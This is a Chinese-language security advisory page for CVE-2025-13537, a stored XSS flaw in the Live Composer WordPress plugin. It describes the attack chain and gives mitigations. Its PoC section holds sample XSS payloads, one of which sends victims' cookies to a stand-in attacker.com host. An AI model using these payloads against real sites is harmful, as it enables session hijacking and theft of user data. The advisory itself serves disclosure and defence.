IPBUF安全漏洞报告
English
CVE-2025-13537 CVSS 6.4 中危

CVE-2025-13537 WordPress Live Composer插件存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-13537
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Live Composer – Free WordPress Website Builder

相关标签

存储型XSSWordPress插件漏洞DOM XSSCVE-2025-13537Live Composer跨站脚本权限提升WordPress安全

漏洞概述

Live Composer是一款WordPress网站构建插件,在其2.0.2及之前的所有版本中存在存储型跨站脚本(XSS)漏洞。该漏洞源于DOM操作过程中对用户提供的属性值缺乏足够的输入 sanitization 和输出转义。攻击者通过利用此漏洞,可以注入任意JavaScript代码到页面中。当其他用户访问包含恶意脚本的页面时,这些脚本将自动执行,可能导致会话劫持、敏感数据窃取、恶意重定向等安全问题。由于漏洞需要Contributor级别权限才能利用,攻击门槛相对较低,建议尽快更新至最新版本。

技术细节

该漏洞存在于Live Composer插件的前端JavaScript代码中,具体位置在js/src/client/frontend/index.js文件的第126行和第926行附近。漏洞产生的根本原因是插件在处理用户输入的属性值时,仅进行了有限的验证而未进行充分的sanitization和escaping处理。当插件通过DOM操作将用户提供的属性值动态写入页面元素时,未经处理的恶意脚本代码会被浏览器解析执行。攻击者只需在插件的页面构建功能中,通过属性参数注入包含<script>标签或事件处理器(如onerror、onload等)的恶意代码,这些代码便会作为页面内容的一部分被永久存储。当受害者访问包含恶意代码的页面时,浏览器会执行这些脚本,导致XSS攻击成功。

攻击链分析

STEP 1
步骤1: 侦察与访问
攻击者获取WordPress站点账户,需要至少Contributor级别权限
STEP 2
步骤2: 漏洞利用准备
攻击者登录WordPress后台,进入Live Composer页面编辑器
STEP 3
步骤3: 注入恶意代码
在Live Composer模块中添加或修改元素,通过属性参数注入XSS payload(如事件处理器或script标签)
STEP 4
步骤4: 持久化存储
包含恶意代码的页面内容被保存到数据库,由于缺乏输入验证,payload被原样存储
STEP 5
步骤5: 触发执行
普通用户或管理员访问包含恶意代码的页面,浏览器解析HTML时执行注入的JavaScript代码
STEP 6
步骤6: 攻击成功
攻击者可通过XSS窃取用户会话Cookie、劫持账户、执行任意客户端操作或进行钓鱼攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-13537 PoC - Stored XSS in Live Composer WordPress Plugin // Requires Contributor-level access or higher // Method 1: Inject via DOM attribute manipulation // In Live Composer editor, add a module and modify attributes with: var xss_payload = '" onerror="alert(String.fromCharCode(88,83,83,80,111,99))" data-xss="'; // Method 2: Using event handlers var xss_payload2 = '<img src=x onerror=alert(document.cookie)>'; // Method 3: Using script tag var xss_payload3 = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Example: Exploit chain // 1. Attacker with Contributor access creates/edits a page // 2. Attacker injects XSS payload in Live Composer module attributes // 3. Payload is stored in database without proper sanitization // 4. When victim visits the page, XSS executes in victim's browser // Detection pattern for vulnerable versions: // Check if plugin version <= 2.0.2 // Look for unescaped user input in frontend/index.js DOM operations

影响范围

Live Composer plugin <= 2.0.2

防御指南

临时缓解措施
如果无法立即更新插件,可采取以下临时措施:1) 限制新用户注册并审查现有用户权限,移除不必要的Contributor角色;2) 使用WordPress安全插件(如Wordfence)添加额外的XSS防护规则;3) 实施严格的Content Security Policy;4) 定期检查数据库中是否存在可疑的脚本标签或事件处理器属性;5) 考虑暂时禁用Live Composer插件直至完成更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表